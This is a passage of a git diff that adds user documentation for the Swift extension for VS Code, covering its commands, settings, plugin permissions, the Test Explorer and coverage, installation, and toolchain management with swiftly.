that SourceKit-LSP can update its information. + +SourceKit-LSP provides background indexing in Swift toolchain 6.1 which will automatically index your project on startup. All indexing results are cached in the `.build/index-build` folder within your workspace. + +Language features are common to all VS Code extensions. See the [VS Code documentation about navigating code](https://code.visualstudio.com/docs/editing/editingevolved) for a more in-depth overview. + +SourceKit-LSP can be configured via extension settings. See for more information. diff --git a/userdocs/userdocs.docc/Articles/Features/project-view.md b/userdocs/userdocs.docc/Articles/Features/project-view.md new file mode 100644 index 000000000..7d29df3b7 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/project-view.md @@ -0,0 +1,9 @@ +# Swift Project View + +Use this view to get a high level view of your Swift project. + +If your workspace contains a package, this extension will add a **Swift Project** view to the Explorer: + +![A snapshot of the Package Dependencies view showing dependencies for the async-http-client Swift project.](project-panel.png) + +Use the project panel to view all targets, tasks, dependencies and commands of your Swift project. \ No newline at end of file diff --git a/userdocs/userdocs.docc/Articles/Features/test-explorer.md b/userdocs/userdocs.docc/Articles/Features/test-explorer.md new file mode 100644 index 000000000..2f37c1ac2 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Features/test-explorer.md @@ -0,0 +1,26 @@ +# Running and Debugging Tests + +View test results in the Test Explorer. + + +View, run, and debug tests that your package containers in the VS Code [Test Explorer](https://code.visualstudio.com/docs/debugtest/testing). + +![A screenshot of the test explorer pane in Visual Studio Code that shows a selection of 5 tests run and passed.](test-explorer.png) + +The Test Explorer will list all your [Swift Testing](https://developer.apple.com/xcode/swift-testing/) and [XCTest](https://developer.apple.com/documentation/xctest) tests. These tests are grouped by package, then test target, and finally, by XCTestCase class. From the Test Explorer, you can initiate a test run, debug a test run, and if you have already opened a file, you can quickly jump to the source code for a test. + +## Run Tests with Coverage + +Test coverage is a measurement of how much of your code is tested by your tests. It defines how many lines of code were actually run when you ran your tests and how many were not. When a line of code is not run by your tests it will not have been tested and perhaps you need to extend your tests. + +The Swift extension integrates with VS Code's Code Coverage APIs to record what code has been hit or missed by your tests. + +![A snapshot of the Test Explorer with the mouse hovering over the "Run Tests With Coverage" button.](coverage-run.png) + +Once you've performed a code coverage run a coverage report will be displayed in a section of the primary side bar. This report lists all the source files in your project and what percentage of lines were hit by tests. You can click on each file to open that file in the code editor. If you close the report you can always get it back by running the command `Test: Open Coverage`. + +![A snapshot of the Test Coverage view showing percentage of code covered for each source file.](coverage-report.png) + +After generating code coverage lines numbers in covered files will be coloured red or green depending on if they ran during the test run. Hovering over the line numbers shows how many times each line was run. Hitting the "Toggle Inline Coverage" link that appears when hovering over the line numbers will keep this information visible. + +![A snapshot of a text editor with Swift code highlighted in green to show that it has been executed in the test.](coverage-render.png) diff --git a/userdocs/userdocs.docc/Articles/Reference/commands.md b/userdocs/userdocs.docc/Articles/Reference/commands.md new file mode 100644 index 000000000..19a857a52 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Reference/commands.md @@ -0,0 +1,63 @@ +# Commands + +Useful VS Code commands added by the Swift extension. + + +The Swift extension adds the following commands, each prefixed with `"Swift: "` in the command palette. + +#### Configuration + +- **`Create New Project...`** - Create a new Swift project using a template. This opens a dialog to guide you through creating a new project structure. +- **`Create New Swift File...`** - Create a new `.swift` file in the current workspace. +- **`Select Toolchain...`** - Select the locally installed Swift toolchain (including Xcode toolchains on macOS) that you want to use Swift tools from. +- **`Install Swiftly Toolchain...`** - Install a Swift toolchain using Swiftly. Shows a list of available stable Swift releases that can be downloaded and installed. Requires Swiftly to be installed first. +- **`Install Swiftly Snapshot Toolchain...`** - Install a Swift snapshot toolchain using Swiftly. Shows a list of available development snapshots that can be downloaded and installed. Requires Swiftly to be installed first. +- **`Generate SourceKit-LSP Configuration`** - Generate the `.sourcekit-lsp/config.json` file for the selected project(s). The generated configuration file will be pre-populated with the JSON schema for the version of the Swift toolchain that is being used. Use the `swift.sourcekit-lsp.configurationBranch` setting to pin the SourceKit-LSP branch that the schema comes from. + +The following command is only available on macOS: + +- **`Select Target Platform...`** - An experimental command available in Swift 6.1 that offers code completion for iOS, tvOS, watchOS, and visionOS projects. + +#### Building and Debugging + +- **`Run Build`** - Run `swift build` for the package associated with the open file. +- **`Debug Build`** - Run `swift build` with debugging enabled for the package associated with the open file, launching the binary and attaching the debugger. +- **`Attach to Process...`** - Attach the debugger to an already running process for debugging. +- **`Clean Build Folder`** - Clean the `.build` folder for the package associated with the open file, removing all previously built products. +- **`Generate Launch Configurations`** - Generate and persist `swift` debug launch configurations to the launch.json file for the project. This is useful when the `swift.autoGenerateLaunchConfigurations` setting is disabled. + +#### Dependency Management + +- **`Resolve Package Dependencies`** - Run `swift package resolve` on packages associated with the open file. +- **`Update Package Dependencies`** - Run `swift package update` on packages associated with the open file. +- **`Reset Package Dependencies`** - Run `swift package reset` on packages associated with the open file. +- **`Add to Workspace`** - Add the current package to the active workspace in VS Code. +- **`Clean Build`** - Run `swift package clean` on packages associated with the open file. +- **`Open Package.swift`** - Open `Package.swift` for the package associated with the open file. +- **`Use Local Version`** - Switch the package dependency to use a local version of the package instead of the remote repository version. +- **`Edit Locally`** - Make the package dependency editable locally, allowing changes to the dependency to be reflected immediately. +- **`Revert To Original Version`** - Revert the package dependency to its original, unedited state after local changes have been made. +- **`View Repository`** - Open the external repository of the selected Swift package in a browser. + +#### Testing + +- **`Test: Run All Tests`** - Run all the tests across all test targets in the open project. +- **`Test: Rerun Last Run`** - Repeat the last test run. +- **`Test: Open Coverage`** - Open the last generated coverage report, if one exists. +- **`Test: Run All Tests in Parallel`** - Run all tests in parallel. This action only affects XCTests. Swift-testing tests are parallel by default, and their parallelism [is controlled in code](https://developer.apple.com/documentation/testing/parallelization). + +#### Snippets and Scripts + +- **`Insert Function Comment`** - Insert a standard comment block for documenting a Swift function in the current file. +- **`Run Swift Script`** - Run the currently open file, as a Swift script. The file must not be part of a build target. If the file has not been saved it will save it to a temporary file so it can be run. +- **`Run Swift Snippet`** - If the currently open file is a Swift snippet then run it. +- **`Debug Swift Snippet`** - If the currently open file is a Swift snippet then debug it. + +#### Diagnostics + +- **`Capture Diagnostic Bundle`** - Capture a diagnostic bundle from VS Code, containing logs and information to aid in troubleshooting Swift-related issues. +- **`Clear Diagnostics Collection`** - Clear all collected diagnostics in the current workspace to start fresh. +- **`Restart LSP Server`** - Restart the Swift Language Server Protocol (LSP) server for the current workspace. +- **`Re-Index Project`** - Force a re-index of the project to refresh code completion and symbol navigation support. + +> 💡 Tip: Commands can be accessed from the VS Code command palette which is common to all VS Code extensions. See the [VS Code documentation about the command palette](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) for a more in-depth overview. diff --git a/userdocs/userdocs.docc/Articles/Reference/settings.md b/userdocs/userdocs.docc/Articles/Reference/settings.md new file mode 100644 index 000000000..eb3f4807a --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Reference/settings.md @@ -0,0 +1,157 @@ +# Extension Settings + +Configure the behavior of the Swift extension. + +> 💡 Tip: The Settings Editor is common to all VS Code extensions. See the [documentation about personalizing VS Code](https://code.visualstudio.com/docs/getstarted/personalize-vscode) for a more in-depth overview. + +The Swift extension comes with a number of settings you can use to control how it works. Detailed descriptions of each setting are provided in the extension settings page. + +This document outlines useful configuration options not covered by the settings descriptions in the extension settings page. + +## Workspace Setup + +### Multiple packages in workspace folder + +If the workspace folder you open in VS Code contains multiple Swift packages: +``` + + /proj1 + /Package.swift + /proj2 + /Package.swift + /aSubfolder + /proj3 + /Package.swift +``` + +You can enable the `searchSubfoldersForPackages` setting so the Swift extension can initializing all these projects. +```json +{ + "swift.searchSubfoldersForPackages": true, +} +``` + +Additionally you can exclude individual packages from initializing: +```json +{ + "swift.excludePathsFromActivation": { + "**/proj2": true, + "**/aSubfolder": true, + "**/aSubfolder/proj3": false, + }, +} +``` + +### Multi-root Workspaces + +As an alternative to opening [a single workspace folder with multiple packages in it](#multiple-packages-in-workspace-folder), VS Code has a concept of [multi-root workspaces](https://code.visualstudio.com/docs/editing/workspaces/multi-root-workspaces) which the Swift extension supports. + +Ex. myProj.code-workspace +```json +{ + "folders": [ + { + "name": "proj1", + "path": "./proj1" + }, + { + "name": "proj3", + "path": "./aSubfolder/proj3" + }, + ], + "settings": { + "swift.autoGenerateLaunchConfigurations": false, + "swift.debugger.debugAdapter": "lldb-dap", + } +} +``` + +## Command Plugins + +Swift packages can define [command plugins](https://github.com/swiftlang/swift-package-manager/blob/main/Documentation/Plugins.md) that can perform arbitrary tasks. For example, the [swift-format](https://github.com/swiftlang/swift-format) package exposes a `format-source-code` command which will use swift-format to format source code in a folder. These plugin commands can be invoked from VS Code using `> Swift: Run Command Plugin`. + +A plugin may require permissions to perform tasks like writing to the file system or using the network. If a plugin command requires one of these permissions, you will be prompted in the integrated terminal to accept them. If you trust the command and wish to apply permissions on every command execution, you can configure the [`swift.pluginPermissions`](vscode://settings/swift.pluginPermissions) setting in your `settings.json`. + +```json +{ + "swift.pluginPermissions": { + "PluginName:command": { + "allowWritingToPackageDirectory": true, + "allowWritingToDirectory": "/some/path/", + "allowNetworkConnections": "all", + "disableSandbox": true + } + } +} +``` + +A key of `PluginName:command` will set permissions for a specific command. A key of `PluginName` will set permissions for all commands in the plugin. If you'd like the same permissions to be applied to all plugins use `*` as the plugin name. Precedence order is determined by specificity, where more specific names take priority. The name `*` is the least specific and `PluginName:command` is the most specific. + +Alternatively, you can define a task in your tasks.json and define permissions directly on the task. This will create a new entry in the list shown by `> Swift: Run Command Plugin`. + +```json +{ + "type": "swift-plugin", + "command": "command_plugin", + "args": ["--foo"], + "cwd": "command-plugin", + "problemMatcher": ["$swiftc"], + "label": "swift: command-plugin from tasks.json", + + "allowWritingToPackageDirectory": true, + "allowWritingToDirectory": "/some/path/", + "allowNetworkConnections": "all", + "disableSandbox": true +} +``` + +If you'd like to provide specific arguments to your plugin command invocation you can use the `swift.pluginArguments` setting. Defining an array for this setting applies the same arguments to all plugin command invocations. + +```json +{ + "swift.pluginArguments": ["-c", "release"] +} +``` + +Alternatively you can specify which specific command the arguments should apply to using `PluginName:command`. A key of `PluginName` will use the arguments for all commands in the plugin. If you'd like the same arguments to be used for all plugins use `*` as the plugin name. + +```json +{ + "swift.pluginArguments": { + "PluginName:command": ["-c", "release"] + } +} +``` + +## SourceKit-LSP + +[SourceKit-LSP](https://github.com/apple/sourcekit-lsp) is the language server used by the Swift extension to provide symbol completion, jump to definition, etc. It is developed by Apple to provide Swift and C language support for any editor that supports the Language Server Protocol. + +### Background Indexing + +Background Indexing was added as an experimental feature in Swift toolchain version 6.0 and then enabled by default in 6.1. This feature removes the need to do a build before getting code completion and diagnostics. + +On startup, SourceKit-LSP will read your project information from your `Package.swift` and begin indexing your project automatically. All indexing results are cached in the `.build/index-build` folder within your workspace. + +You can enable or disable this feature with the [`swift.sourcekit-lsp.backgroundIndexing`](vscode://settings/swift.sourcekit-lsp.backgroundIndexing) setting. + +### Support for 'Expand Macro' + +If you are using a nightly (`main`) toolchain you can enable support for the "Peek Macro" Quick Action, accessible through the light bulb icon when the cursor is on a macro. + +To enable support, set the following Sourcekit-LSP server arguments in your settings.json, or add two new entries to the [`swift.sourcekit-lsp.serverArguments`](vscode://settings/swift.sourcekit-lsp.serverArguments) setting. + +```json +"swift.sourcekit-lsp.serverArguments": [ + "--experimental-feature", + "show-macro-expansions" +] +``` + +## Windows Development + +### Specifying a Visual Studio installation + +Swift depends on a number of developer tools when running on Windows, including the C++ toolchain and the Windows SDK. Typically these are installed with [Visual Studio](https://visualstudio.microsoft.com/). + +If you have multiple versions of Visual Studio installed you can specify the path to the desired version by setting a `VCToolsInstallDir` environment variable using the [`swift.swiftEnvironmentVariables`](vscode://settings/swift.swiftEnvironmentVariables) setting. diff --git a/userdocs/userdocs.docc/Articles/Topics/installation.md b/userdocs/userdocs.docc/Articles/Topics/installation.md new file mode 100644 index 000000000..3687ab032 --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Topics/installation.md @@ -0,0 +1,12 @@ +# Installation + +Install the Swift extension via the VS Code Marketplace. + +The Swift extension is supported on macOS, Linux, and Windows. To set it up: +1. Install Swift from the [Swift.org website](https://www.swift.org/install). +2. Install [Visual Studio Code](https://code.visualstudio.com/Download). +3. Install the Swift extension from the [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=swiftlang.swift-vscode). + +Once your machine is ready, you can start writing Swift code: + * Use the **`Swift: Create New Project...`** command from the command palette to initialize a new project. + * Navigate to **`File > Open Folder`** in the menu bar to open an existing project on your machine. diff --git a/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md b/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md new file mode 100644 index 000000000..07f66d47d --- /dev/null +++ b/userdocs/userdocs.docc/Articles/Topics/supported-toolchains.md @@ -0,0 +1,62 @@ +# Supported Toolchains + +Find out which versions of Swift the extension supports. + +The Swift extension supports the following Swift toolchains: + * 5.9 + * 5.10 + * 6.0 + * 6.1 + * 6.2 + +The extension also strives to work with the latest nightly toolchains built from the main branch. + +Certain features of the Swift extension will only work with newer versions of the toolchains. We recommend using the latest version of the Swift toolchain to get the most benefit out of the extension. The following features only work with certain toolchains as listed: + +Feature | Minimum Toolchain Required +-------------------------- | ------------------------------------- +Debugging with `lldb-dap` | 6.0 + | 6.2 + +## Toolchain Management + +The Swift extension automatically detects installations of the Swift toolchain in your environment. It looks for a `swift` binary available in `PATH` and, if one cannot be found, prompts you to [install a toolchain from Swift.org](https://www.swift.org/install). + +
+If you install a toolchain or Swiftly while VS Code is open, you likely will need to fully quit VS Code and then reopen it. This makes sure the extension host gets the updated PATH so that extension can find the toolchain. +
+ +If you have multiple Swift toolchains installed on your system, use the command `Swift: Select Toolchain...` to tell the extension which toolchain to use. The command shows you a list of all the toolchains that VS Code found on your system and lets you switch between them. + +@Video( + source: "toolchain-selection.mp4", + alt: "A video showing a VS Code window. The command palette is opened to run the 'Swift: Select Toolchain...' command which is then used to select Xcode as the preferred toolchain.", + poster: "toolchain-selection.png" +) + +## Swiftly Support + +The extension supports toolchains managed by [swiftly](https://github.com/swiftlang/swiftly), the Swift toolchain installer and manager. This is the recommended way of installing Swift toolchains on macOS and Linux. For instructions on installing swiftly see the [installation instructions on Swift.org](https://www.swift.org/install). There is also a [getting started guide for swiftly on Swift.org](https://www.swift.org/swiftly/documentation/swiftly/getting-started/). + +Choose a swiftly managed toolchain to use from the `> Swift: Select Toolchain...` menu. + +If you do `swiftly use` on the command line you must restart VS Code or do `> Developer: Reload Window` in order for the VS Code Swift extension to start using the new toolchain. + +### Installing Toolchains + +The Swift extension can use swiftly to install toolchains on your behalf. This allows you to discover, install, and configure Swift toolchains directly from the VS Code interface without needing to use the command line. + +Before using the toolchain installation feature, ensure you meet the following requirements: + +* **Swiftly 1.1.0 or newer** - The installation feature requires swiftly version 1.1.0 or newer. Run **`swiftly self-update`** in your terminal to get the latest version of swiftly. +* **Administrator Privileges** - On Linux systems, `sudo` may be required to install system dependencies for the toolchain after installation. + +You can access the installation commands via the `Swift: Select Toolchain...` command, or by running the following commands directly: +- **`Swift: Install Swiftly Toolchain...`** - installs stable Swift toolchains via swiftly +- **`Swift: Install Swiftly Snapshot Toolchain...`** - installs snapshot Swift toolchains via swiftly + +### .swift-version Support + +Swiftly can use a special `.swift-version` file in the root of your package so that you can share your toolchain preference with the rest of your team. The VS Code Swift extension respects this file if it exists and will use the toolchain specified within it to build and test your package. + +For more information on the `.swift-version` file see swiftly's documentation on [sharing recommended toolchain versions](https://swiftpackageindex.com/swiftlang/swiftly/main/documentation/swiftlydocs/use-toolchains#Sharing-recommended-toolchain-versions). diff --git a/userdocs/userdocs.docc/Resources/coverage-render.png b/userdocs/userdocs.docc/Resources/coverage-render.png new file mode 100644 index 000000000..b39759590 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/coverage-render.png differ diff --git a/userdocs/userdocs.docc/Resources/coverage-report.png b/userdocs/userdocs.docc/Resources/coverage-report.png new file mode 100644 index 000000000..3ca118f12 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/coverage-report.png differ diff --git a/userdocs/userdocs.docc/Resources/coverage-run.png b/userdocs/userdocs.docc/Resources/coverage-run.png new file mode 100644 index 000000000..0df2f5f4c Binary files /dev/null and b/userdocs/userdocs.docc/Resources/coverage-run.png differ diff --git a/userdocs/userdocs.docc/Resources/docc-live-preview.gif b/userdocs/userdocs.docc/Resources/docc-live-preview.gif new file mode 100644 index 000000000..16e5dd71f Binary files /dev/null and b/userdocs/userdocs.docc/Resources/docc-live-preview.gif differ diff --git a/images/install-extension.png b/userdocs/userdocs.docc/Resources/install-extension.png similarity index 100% rename from images/install-extension.png rename to userdocs/userdocs.docc/Resources/install-extension.png diff --git a/userdocs/userdocs.docc/Resources/install-pre-release.png b/userdocs/userdocs.docc/Resources/install-pre-release.png new file mode 100644 index 000000000..d483c8e92 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/install-pre-release.png differ diff --git a/userdocs/userdocs.docc/Resources/project-panel.png b/userdocs/userdocs.docc/Resources/project-panel.png new file mode 100644 index 000000000..4bc015a68 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/project-panel.png differ diff --git a/images/test-explorer.png b/userdocs/userdocs.docc/Resources/test-explorer.png similarity index 100% rename from images/test-explorer.png rename to userdocs/userdocs.docc/Resources/test-explorer.png diff --git a/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 b/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 new file mode 100644 index 000000000..080c9f904 Binary files /dev/null and b/userdocs/userdocs.docc/Resources/toolchain-selection.mp4 differ diff --git a/userdocs/userdocs.docc/Resources/toolchain-selection.png b/userdocs/userdocs.docc/Resources/toolchain-selection.png new file mode 100644 index 000000000..65e7ef13d Binary files /dev/null and b/userdocs/userdocs.docc/Resources/toolchain-selection.png differ diff --git a/userdocs/userdocs.docc/userdocs.md b/userdocs/userdocs.docc/userdocs.md new file mode 100644 index 000000000..4f1b2ca93 --- /dev/null +++ b/userdocs/userdocs.docc/userdocs.md @@ -0,0 +1,42 @@ +# The Swift Extension for VS Code + +@Metadata { + @TechnologyRoot +} + +Language support for Swift in Visual Studio Code. + +This extension adds language support for Swift to Visual Studio Code, providing a seamless experience for developing Swift applications on platforms such as macOS, Linux and Windows. It supports: + +* Code completion +* Jump to definition, peek definition, find all references, symbol search +* Error annotations and apply suggestions from errors +* Automatic generation of launch configurations for debugging +* Automatic task creation +* Package dependency view +* Test Explorer view +* Side-by-side live preview of Swift documentation + +## Topics + +- +- + +### Features + +- +- +- +- +- +- + +### Advanced + +- +- + +### Reference + +- +- \ No newline at end of file